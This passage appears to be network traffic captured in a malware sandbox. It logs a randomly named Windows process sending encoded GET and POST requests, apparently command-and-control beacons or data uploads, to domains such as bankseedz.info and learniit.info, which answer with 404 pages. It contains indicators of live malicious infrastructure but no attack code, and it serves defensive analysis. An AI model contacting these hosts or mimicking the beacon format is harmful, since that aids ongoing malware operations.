Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49182	203.161.42.73	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:21:51.741799116 CET	542	OUT	GET /n8su/?e2E=wRQ8oHXx&x4=lFR6PBva/PMsONRXI0WwK0wAlPs3/3LGo4dEt9E07rmpJDSADrt1oQ5wEpxa5wprSOBn2CzJO8jS1Mfo/039O8MFhYDOYZlyw2UFRkURX7D2yJawivbRUB3rqqzd HTTP/1.1 Host: www.learniit.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:21:52.962450981 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Dec 2024 09:21:52 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Dec 12, 2024 10:21:52.962537050 CET	1236	IN	Data Raw: 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 Data Ascii: /linearGradient> </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)"
Dec 12, 2024 10:21:52.962574959 CET	1236	IN	Data Raw: 37 39 20 2d 30 2e 35 39 35 32 33 33 2c 2d 31 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 Data Ascii: 79 -0.595233,-18.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;str
Dec 12, 2024 10:21:52.962610006 CET	1236	IN	Data Raw: 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 30 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c Data Ascii: width="100.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /
Dec 12, 2024 10:21:52.962645054 CET	896	IN	Data Raw: 38 2e 36 36 36 33 31 20 31 2e 32 34 39 39 32 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 Data Ascii: 8.66631 1.249922,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000
Dec 12, 2024 10:21:52.962680101 CET	1236	IN	Data Raw: 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e Data Ascii: ke-opacity:1;" /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.6665
Dec 12, 2024 10:21:52.962714911 CET	1236	IN	Data Raw: 30 32 31 2c 31 31 2e 31 31 30 35 32 20 30 2e 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e Data Ascii: 021,11.11052 0.943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.00342
Dec 12, 2024 10:21:52.962749958 CET	448	IN	Data Raw: 30 30 30 34 39 20 33 2e 37 31 32 30 30 35 2c 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 Data Ascii: 00049 3.712005,54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.232
Dec 12, 2024 10:21:52.963001013 CET	1236	IN	Data Raw: 33 34 2e 34 36 39 31 37 20 35 2e 30 36 36 30 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a Data Ascii: 34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path
Dec 12, 2024 10:21:52.963040113 CET	1236	IN	Data Raw: 32 38 39 2c 31 38 2e 34 31 35 35 20 2d 38 2e 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 Data Ascii: 289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717"
Dec 12, 2024 10:21:53.082370043 CET	1236	IN	Data Raw: 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 Data Ascii: oke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49183	46.30.211.38	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:21:58.439832926 CET	2472	OUT	POST /an5q/ HTTP/1.1 Host: www.bankseedz.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.bankseedz.info Referer: http://www.bankseedz.info/an5q/ Content-Length: 2159 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 73 76 56 45 73 67 65 43 61 79 6c 75 2f 34 56 33 39 38 30 6c 52 37 49 63 31 58 59 66 48 52 50 4b 4d 41 69 53 76 39 34 6c 59 6d 31 49 42 77 45 6e 4b 67 72 44 73 58 36 74 36 66 71 48 38 46 6f 30 49 51 56 6c 4f 72 47 6e 33 41 74 69 62 69 42 33 61 71 50 48 42 59 71 59 41 76 32 45 2f 49 73 74 54 30 59 44 53 78 65 6d 6e 38 6d 67 2b 4d 58 31 58 53 6b 35 37 59 68 58 31 33 51 55 56 55 70 32 50 67 75 61 4a 66 4c 73 54 77 73 74 34 4b 52 68 35 50 43 2b 49 46 2f 74 34 76 64 30 49 50 75 55 4e 63 35 6f 53 45 42 76 75 76 46 47 54 50 4f 6c 6a 49 38 5a 59 61 77 52 59 55 37 48 4e 73 52 66 31 57 73 6f 6c 32 61 64 69 73 74 66 2b 4c 41 6f 6f 73 53 34 52 66 2f 2b 58 6c 55 72 50 51 2f 70 35 4d 36 44 78 4c 33 31 4f 58 44 6e 30 7a 6e 5a 42 67 39 77 4c 69 38 6d 49 79 38 53 54 51 7a 44 6b 79 45 67 6f 39 68 4d 6e 36 5a 71 47 57 74 64 65 6e 32 65 6f 38 64 44 2f 4d 68 73 52 6a 34 78 73 65 6a 31 53 34 73 45 64 44 4c 69 46 41 4c 31 72 6b 58 64 6d 4e 6d 62 78 34 62 4a 50 53 4c 54 67 73 36 42 4a 6c 56 6e 39 33 6a 38 42 65 7a [TRUNCATED] Data Ascii: x4=svVEsgeCaylu/4V3980lR7Ic1XYfHRPKMAiSv94lYm1IBwEnKgrDsX6t6fqH8Fo0IQVlOrGn3AtibiB3aqPHBYqYAv2E/IstT0YDSxemn8mg+MX1XSk57YhX13QUVUp2PguaJfLsTwst4KRh5PC+IF/t4vd0IPuUNc5oSEBvuvFGTPOljI8ZYawRYU7HNsRf1Wsol2adistf+LAoosS4Rf/+XlUrPQ/p5M6DxL31OXDn0znZBg9wLi8mIy8STQzDkyEgo9hMn6ZqGWtden2eo8dD/MhsRj4xsej1S4sEdDLiFAL1rkXdmNmbx4bJPSLTgs6BJlVn93j8BezZ2H3n9D2F1sNq67ozhVxOj39nDZZWz8KarGp5MSbnuBfdhXBWtrZ0D+6eYlR0n/0WA7mxteOXAEinc28AcH89P/OWuCbt6+6oLUKf7nwB8gfJpqSZlA1CdSYBRn2NKxu27Q7RFQy/8Yn8Cl8THXfafcqE34vV6RMFJFP3tBrtPMExJpckJRBIdFwS3P3eWuqjVSNMgINCKPGxypvh12G+LWkTq5gLLIEPpFM+OoLWGiY8p8ftEKJkt2285O5aVuQgl7gsuLo/b1M2xa4VMOrN89buKHPpRXBMQGHSotbq4GsdEUR7Z1oCwBrgLLaqnbuYvbcWlSUzXF8CVsFsHALFacT9E5zkH+PyX36j8CqHZuw4lsC3U3xuRvqnq3204CAi/10nSyTvEP0WiO6C4eEjfKIKAkPzTCDqoseVPa/iE54F8tr7MnXTGBKyYGpjcPgRPd+VMN8ZSqrKSt9Qup7SCwnZT/toTZKuAmconldjigeyayOSZDigwDnVgD6oaFcD4kDaJZoYWfBXOZeKxhv4rwXMFFu5pJw3eDSThJMM0v6DMfqh2QMeDLbY3kpkR8/gVBRHyL6E5gKjFy7cQ1D/tw2eeYiUzIXMgB8RO6YYM9xAnqaq2+ecUQCCFUDe142jIUIc0aLIEh38r/hgQofiN42Htdpu7JXzF [TRUNCATED]
Dec 12, 2024 10:21:58.559422016 CET	300	OUT	Data Raw: 52 55 6c 6f 45 39 65 34 71 51 39 67 6f 57 44 65 6a 41 33 65 74 73 56 6f 56 6e 6e 5a 79 79 4a 6e 2b 36 75 6d 4e 70 6e 48 33 52 78 4c 64 42 39 64 61 41 78 55 48 50 50 54 64 5a 34 42 6f 4b 61 4e 47 35 59 4a 45 70 79 6d 6e 59 4f 51 79 61 39 50 59 62 Data Ascii: RUloE9e4qQ9goWDejA3etsVoVnnZyyJn+6umNpnH3RxLdB9daAxUHPPTdZ4BoKaNG5YJEpymnYOQya9PYbNfy1x9KZOr5ja/pc4JSXYkQSLOT8GA4igU6xOP6GWhOR+ijG+hGFzD5x+66hxQVDp/XK58HuFdr/1uV/thxVoIsIEu9Ldu3cd2k0vig7G04xIZGBTmf4cqBrh5TJr11Yz7frnFfNzBpmlr8zD12KS53u0qOKJRPfn
Dec 12, 2024 10:21:59.691046000 CET	738	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 09:21:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 564 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49184	46.30.211.38	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:01.103338957 CET	811	OUT	POST /an5q/ HTTP/1.1 Host: www.bankseedz.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.bankseedz.info Referer: http://www.bankseedz.info/an5q/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 73 76 56 45 73 67 65 43 61 79 6c 75 2f 35 56 33 39 74 30 6c 41 72 49 63 79 58 59 66 49 78 4f 42 4d 41 2f 74 76 34 41 31 59 52 68 49 42 69 63 6e 4a 53 54 44 6c 48 36 75 69 76 71 44 79 6c 70 32 49 51 56 54 4f 70 53 6e 33 41 35 69 4a 78 70 33 4c 2f 6a 41 44 6f 71 61 49 50 32 4a 2f 49 67 65 54 30 63 54 53 78 32 6d 6e 39 61 67 73 38 48 31 63 52 4d 35 71 34 68 5a 38 58 51 6c 56 55 73 75 50 67 2b 53 4a 63 66 73 54 44 6f 74 34 59 4a 68 75 75 43 2b 48 6c 2f 77 73 66 63 57 4f 66 37 77 56 74 56 6b 66 6d 42 51 77 73 74 64 63 34 75 5a 75 65 67 79 58 34 34 72 48 68 69 78 41 38 59 30 6d 41 3d 3d Data Ascii: x4=svVEsgeCaylu/5V39t0lArIcyXYfIxOBMA/tv4A1YRhIBicnJSTDlH6uivqDylp2IQVTOpSn3A5iJxp3L/jADoqaIP2J/IgeT0cTSx2mn9ags8H1cRM5q4hZ8XQlVUsuPg+SJcfsTDot4YJhuuC+Hl/wsfcWOf7wVtVkfmBQwstdc4uZuegyX44rHhixA8Y0mA==
Dec 12, 2024 10:22:02.353169918 CET	738	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 09:22:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 564 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49185	46.30.211.38	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:22:03.755090952 CET	2472	OUT	POST /an5q/ HTTP/1.1 Host: www.bankseedz.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.bankseedz.info Referer: http://www.bankseedz.info/an5q/ Content-Length: 3623 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 73 76 56 45 73 67 65 43 61 79 6c 75 74 4b 4e 33 78 75 63 6c 51 37 49 66 35 33 59 66 48 52 50 49 4d 41 6a 74 76 39 34 6c 59 6a 4e 49 42 7a 4d 6e 4a 77 72 44 2b 48 36 75 33 2f 71 48 38 46 6f 33 49 51 51 6f 4f 72 4c 53 33 43 56 69 62 67 6c 33 61 74 37 48 58 49 71 59 4d 50 32 47 2f 49 68 45 54 79 39 59 53 77 6d 49 6e 35 2b 67 73 50 2f 31 61 68 4d 36 67 59 68 5a 38 58 51 78 56 55 73 43 50 67 6d 77 4a 64 48 38 54 77 41 74 37 36 52 68 6f 50 44 4d 46 6c 2f 73 76 66 64 2b 49 50 79 35 4e 63 35 73 53 46 6c 46 75 76 4a 47 42 70 53 6c 6a 50 6f 65 58 71 77 53 46 45 37 48 44 4d 52 52 31 57 73 30 6c 32 61 64 69 73 52 66 2f 62 41 6f 6f 6f 47 33 66 2f 2f 2b 55 6c 55 69 43 77 7a 39 35 4d 65 70 78 50 4c 6c 4f 48 33 6e 7a 78 2f 5a 51 67 39 77 41 79 38 38 49 79 38 44 5a 77 79 39 6b 78 30 65 6f 39 52 63 6e 36 5a 71 47 54 35 64 61 78 4b 65 76 73 64 44 33 73 68 78 65 44 34 79 73 64 50 74 53 34 59 45 64 42 37 69 48 77 37 31 36 53 71 76 70 64 6d 50 37 59 62 78 4c 53 4c 38 67 73 32 72 4a 6c 63 4d 39 32 54 38 42 63 62 [TRUNCATED] Data Ascii: x4=svVEsgeCaylutKN3xuclQ7If53YfHRPIMAjtv94lYjNIBzMnJwrD+H6u3/qH8Fo3IQQoOrLS3CVibgl3at7HXIqYMP2G/IhETy9YSwmIn5+gsP/1ahM6gYhZ8XQxVUsCPgmwJdH8TwAt76RhoPDMFl/svfd+IPy5Nc5sSFlFuvJGBpSljPoeXqwSFE7HDMRR1Ws0l2adisRf/bAoooG3f//+UlUiCwz95MepxPLlOH3nzx/ZQg9wAy88Iy8DZwy9kx0eo9Rcn6ZqGT5daxKevsdD3shxeD4ysdPtS4YEdB7iHw716SqvpdmP7YbxLSL8gs2rJlcM92T8BcbZ1m3n+z2Kh8Nutr03hVpsj2t3DeNWh5masA96SSbbrBfH3nB0trdaD62eZRN0m+UWKoOyruOQEEjnWW9bcEAfP+fduWLto+6oK2Sc3XwAmQffgKTGlA18dS47RUqNKz627DDRFQy8tonlJF4lHXTgfcnB373V9CEFJEP35RrtXcE2DJdMJRU9dAsC3/LePPajYwlMloNEIPG82puD122+LXQDq6gLIqsPpkM+IoLKYyY/p8ffELZet1eK5MdaVvQgyOUsmro8Z1My1a4mMOzd8+PEKFvpAEZMXjrSoNbkzmsdL0RzZ1wowDveLKCqgq+Yt7cVryUwVF8dRsFyHAbFacP9E4HkHJbydgWjwSqJXOx/zc+DUxR1RtG3qwi03zAi42cmdiT1BP1X1e6+4eE/fOE8A2HzdyjquNeWM6/hdp4SyNqMMnHpGBPpYRRjcOQRIuWVP98ZSqrNSt9Uup+jCxW8T/tocteuBTIosFdiggepeyPTZDnJwDPzgCWoaU8D4kDdMpobc/BQOZa9xhvWrwbMEyC5vb43Hm+T35MM3v6AH/qg2QNVDKHI3hJketfgZipI+b6BxAKPOS+GQ1PntxSedpSUybPMgx8ROaYZVNwapKHp2+TzURSSFAfe0JmjKT8T4KLJHR3+r/9pQoHqN4+xtepu6pXzV [TRUNCATED]
Dec 12, 2024 10:22:03.875967979 CET	1764	OUT	Data Raw: 52 55 6c 43 45 2f 32 6f 71 56 52 67 6f 53 66 65 6a 6a 76 65 6a 73 56 72 64 48 6e 51 79 79 49 32 2b 36 48 5a 4e 6f 37 74 33 52 64 4c 64 6d 56 64 62 54 70 55 4a 66 50 52 64 5a 34 31 6c 71 57 47 47 35 5a 34 45 70 75 6d 6e 59 65 51 79 59 31 50 59 72 Data Ascii: RUlCE/2oqVRgoSfejjvejsVrdHnQyyI2+6HZNo7t3RdLdmVdbTpUJfPRdZ41lqWGG5Z4EpumnYeQyY1PYrNc+lx+H5OszDb8pc4jSWEeQQHOSqCA+XMU5BOF0mWychyWjGzuGEC25ge67XtQegN/G655ZeFMr/4BV+dHxRsms5Iu+bduze1pg0vkqbG54xI1GBbcf5A6BvF5TLD10oz8ILnDStyephtO8zaS2KC53r8qPulRYvn
Dec 12, 2024 10:22:05.011869907 CET	738	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 09:22:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 564 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not 